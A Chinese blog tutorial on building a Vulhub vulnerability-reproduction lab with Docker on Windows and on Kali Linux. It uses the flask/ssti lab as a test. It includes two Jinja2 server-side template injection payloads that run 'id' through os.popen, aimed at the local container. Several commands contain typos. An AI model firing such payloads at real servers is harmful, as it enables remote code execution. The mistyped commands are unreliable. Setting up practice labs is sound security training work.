博客 / 詳情

返回

Windows+Kali Linux雙系統下的Vulhub漏洞復現環境搭建全攻略

windows結合Docker Desktop搭建vulhub

Docker官網:Docker: Accelerated Container Application Development

打開Docker官網,根據自己的操作系統配置下載相關版本的Docker Desktop。這裏我使用的是最新版本的windows 11,所以選擇AMD64架構的。

Snipaste_2026-02-01_16-47-50

因為之前在某國外官方網站下載軟件時,踩過必須註冊賬號才能夠下載相關工具的坑。所以,我選擇了先註冊賬號,然後下載軟件包、登錄賬號的方式。註冊賬號之後看到的界面,然後點擊Go to download的按鈕。
Snipaste_2026-02-01_16-50-09

繼續,選擇Docker Desktop for windows的按鈕。
Snipaste_2026-02-01_16-51-41

勾選Docker Desktop for windows-x86_64的版本。
Snipaste_2026-02-01_16-52-09

下載軟件安裝包之後,到相應的路徑雙擊安裝包。
Snipaste_2026-02-01_16-58-38

勾選桌面快捷鍵模式,點擊OK按鈕。
Snipaste_2026-02-01_17-00-58

點擊Close按鈕,關閉之後重新打開軟件。

Snipaste_2026-02-01_17-01-59

不用仔細看,肯定是用户協議,勾選Accept即可。
Snipaste_2026-02-01_17-03-54

Sign in登錄之前註冊的個人賬號,輸入對應的賬號和密碼。隨即提醒我們Proceed to Docker Desktop,我們點擊Proceed to Docker Desktop按鈕即可。注意Sign in的過程可能要掛vpn,否則會斷線。
![Snipaste_2026-02-01_17-05-44
**

點擊Terminal按鈕,根據微軟官方鏈接Install WSL | Microsoft Learn下載配置對應的wsl環境。
Snipaste_2026-02-01_17-06-36

git https://github.com/vulhub/vulhub.git

利用git下載vulhub到本地並記住你保存的位置。然後進入vulhub子目錄,隨之進入官方的演示目錄/flask/ssti。如果有人嫌git安裝麻煩的直接Download ZIP一把梭,只需要解壓相關安裝包並重命名vulhub即可。
Snipaste_2026-02-04_20-27-24

ssti

按照以下命令啓動或關閉容器環境,先不要使用關閉命令,打完這個靶場看看環境配得對不對。

啓動命令
docker compose pull  #windows可選
docker compose up -d
docker ps #-a可選

關閉命令
docker compose down

打開容器環境,瀏覽器輸入url:http://your-ip:8080
image

利用ssti的探測技巧,發現name參數的的確確存在ssti模板注入。

{{self.__class__.__mro__[1].__subclasses__()[166].__init__.__globals__['sys'].modules['os'].popen('id').read()}}

{{''.__class__.__mro__[1].__subclasses__()[166].__init__.__globals__['sys'].modules['os'].popen('id').read()}}

最後,打入上方備用的倆個payload即可。
Snipaste_2026-02-01_22-13-05

銷燬容器環境,這個靶場可以被有效利用,説明我們搭建的環境沒有問題。

docker ps           
CONTAINER ID   IMAGE                COMMAND                   CREATED          STATUS          PORTS                                       NAMES
2eea39d98b2f   vulhub/flask:1.1.1   "/bin/sh -c 'gunicor…"   11 minutes ago   Up 11 minutes   0.0.0.0:8000->8000/tcp, :::8000->8000/tcp   ssti-w




VMware+ kali linux 結合docker 搭建vulhub(推薦)

同windows結合docker 搭建vulhub一樣,打開官方按照提示進行Debian版本的docker下載。
Snipaste_2026-02-01_22-34-27

備用鏈接1:Debian | Docker Docs

備用鏈接2:Debian | Docker Docs

sudo apt install gnome-terminal  #參考備用鏈接1

sudo apt install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin   #參考備用鏈接2

輸入命令行安裝相關依賴。
Snipaste_2026-02-01_22-36-03

sudo apt-get update
sudo apt-get upgrate

輸入命令行更新系統軟件。
Snipaste_2026-02-01_22-37-22

sudo apt-get install docker.io

輸入命令行安裝docker 鏡像。
Snipaste_2026-02-01_22-37-57

查看docker 版本
docker --version
docker version

打開kali時,使docker自動並永久開放。
sudo systemctl enable docker
sudo /lib/system/system-sysv-install enable docker

查看安裝的docker版本,並保持打開kali時docker永久開放。
Snipaste_2026-02-01_22-38-15

sudo systemctl status docker.service

查看docker運行時的狀態,主要排查後續會不會出現異常。
Snipaste_2026-02-01_22-38-40

sudo docker run hello-world

docker compose version #檢查docker compose 版本

測試docker的功能運行是否正常或合理。
Snipaste_2026-02-01_22-38-57

由於我這個版本自帶docker compose ,所以不在對此進行安裝。

方法Ⅰ
wget https://github.com/vulhub/archive/master.zip -O vulhub-master.zip
unzip vulhub-master.zip
cd vulhub-master #或者將vulhub-master.zip重命名vulhub.zip並解壓之後,在進入vulhub

方法Ⅱ #推薦,因為方法Ⅰ太慢了
git clone https://github.com/vuhub/vulhub.git
ls
cd vulhub
ls

下載並解壓vulhub,或者直接git命令直接下載。
Snipaste_2026-02-01_22-30-45

可以看到vulhub裏支持數百種漏洞進行復現。
Snipaste_2026-02-01_22-30-58

ssti

進入演示目錄
cd flask/ssti 

啓動環境
docker compose pull  
docker compose up -d  # 出現異常時-d選項可去,便於查看日誌信息

查看文件
ls
cd src
cat app.py

進入官方演示目錄,啓動環境並查看相關子目錄或文件。
Snipaste_2026-02-01_22-25-32

查看開放端口
docker ps

查看ip或存活的主機
Linux環境
hosthome -I
ip a

Windows 環境
ipconfig 

查看開放的端口和你的ip。
Snipaste_2026-02-01_22-44-22

Snipaste_2026-02-01_22-22-49

虛擬機或物理機瀏覽器url輸入http://your-ip:8000,打開靶機環境。
Snipaste_2026-02-01_22-45-47

注意如果這裏http://your-ip:8000打不開可能是虛擬機的網絡連接模式不對,推薦使用橋接模式或NAT模式。
Snipaste_2026-02-01_22-15-30

Snipaste_2026-02-01_20-55-03

這裏我嘗試了NAT模式和自定義VMnet8,但是都沒有成功,所以採用第3種解決方案——橋接模式。

Snipaste_2026-02-01_22-14-49

{{self.__class__.__mro__[1].__subclasses__()[166].__init__.__globals__['sys'].modules['os'].popen('id').read()

{{''.__class__.__mro__[1].__subclasses__()[166].__init__.__globals__['sys'].modules['os'].popen('id').read()}}

依舊打入兩個payload。
Snipaste_2026-02-01_22-04-25

Snipaste_2026-02-01_22-10-55

docker compose down

關閉或銷燬環境。
Snipaste_2026-02-01_22-43-35

注意如果不使用vpn配合虛擬機的橋接模式啓動大型靶場,尤其是Java項目和大型數據庫(例如Oracle)項目。或者沒有用國內鏡像進行代理,下面的命令會運行得異常緩慢。當然,由於有些老舊項目和虛擬機的環境存在端口占用、版本衝突、依賴消失、系統異常等問題,建議移步windows版本的Docker或者vulfocus、春秋雲鏡等靶場,否則的自行搭建相關靶場或自己獨立解決相關問題。

docker compose pull
docker compose up -d

Snipaste_2026-02-01_23-58-57

額,下載了1000多秒,真夠狠的。所以最後添加一下國內的鏡像代理。

sudo mkdir -p /etc/docker
sudo vi /etc/docker/daemon.json
cat /etc/docker/daemon.json

{
  "registry-mirrors": [
        "https://docker.sunzishaokao.com",
        "https://docker.1ms.run",
        "https://docker.1panel.live",
        "https://docker.anyhub.us.kg"
  ]
}

sudo systemctl daemon-reload
sudo systemctl restart docker
sudo systemstl status docker

Snipaste_2026-02-02_20-50-45

代理已經設置成功。
Snipaste_2026-02-02_20-54-22

詳細的docker信息如下:

docker info           
Client:
 Version:    27.5.1+dfsg4
 Context:    default
 Debug Mode: false
 Plugins:
  buildx: Docker Buildx (Docker Inc.)
    Version:  0.19.3+ds1
    Path:     /usr/libexec/docker/cli-plugins/docker-buildx
  compose: Docker Compose (Docker Inc.)
    Version:  v5.0.2
    Path:     /usr/libexec/docker/cli-plugins/docker-compose

Server:
 Containers: 2
  Running: 0
  Paused: 0
  Stopped: 2
 Images: 5
 Server Version: 27.5.1+dfsg4
 Storage Driver: overlay2
  Backing Filesystem: extfs
  Supports d_type: true
  Using metacopy: false
  Native Overlay Diff: true
  userxattr: false
 Logging Driver: json-file
 Cgroup Driver: systemd
 Cgroup Version: 2
 Plugins:
  Volume: local
  Network: bridge host ipvlan macvlan null overlay
  Log: awslogs fluentd gcplogs gelf journald json-file local splunk syslog
 Swarm: inactive
 Runtimes: io.containerd.runc.v2 runc
 Default Runtime: runc
 Init Binary: docker-init
 containerd version: 1.7.24~ds1-10
 runc version: 1.3.3+ds1-2
 init version: 
 Security Options:
  apparmor
  seccomp
   Profile: builtin
  cgroupns
 Kernel Version: 6.18.5+kali-amd64
 Operating System: Kali GNU/Linux Rolling
 OSType: linux
 Architecture: x86_64
 CPUs: 4
 Total Memory: 3.793GiB
 Name: kali
 ID: ff8c0ebd-2523-4688-822b-3847dc37cdfb
 Docker Root Dir: /var/lib/docker
 Debug Mode: false
 Experimental: false
 Insecure Registries:
  127.0.0.0/8
 Registry Mirrors:
  https://docker.sunzishaokao.com/
  https://docker.1ms.run/
  https://docker.1panel.live/
  https://docker.anyhub.us.kg/
 Live Restore Enabled: false


遇到的一些問題:
Snipaste_2026-02-05_11-20-12

啓動成功但端口缺失或端口占用或端口監聽,
Snipaste_2026-02-05_11-24-07

解決方案:
Snipaste_2026-02-05_11-33-46

查看日誌或者重啓環境。
Snipaste_2026-02-05_11-34-44

Snipaste_2026-02-05_11-35-28

定位到進程異常碼139。
Snipaste_2026-02-05_11-39-56

發現是版本兼容和堆溢出,明顯與依賴缺失也有部分關係。
Snipaste_2026-02-05_11-40-49

最後總結一下,整體還是推薦第2種方法,但是由於老舊項目的依賴棄用和系統或軟件版本兼容等問題,會導致部分靶場無法使用。第1種方法如果不會git和wsl的安裝和配置估計自己會搗鼓好久,但是值得高興的是大多數老舊項目的靶場依舊能夠使用,並且方便刪除隨時隨地解決內存問題,不像虛擬機還得設置較高的內存。當然,最終的選擇還是在讀者自己的手裏,筆者只是推薦第2種方法,並且最好復現最近幾年的熱門高危漏洞或嚴重(超危)漏洞,否則遇到相關難題自行解決。

參考文獻:
1.vulhub | kali Linux搭建vulhub靶場(超詳細)-CSDN博客

user avatar
0 位用戶收藏了這個故事!

發佈 評論

Some HTML is okay.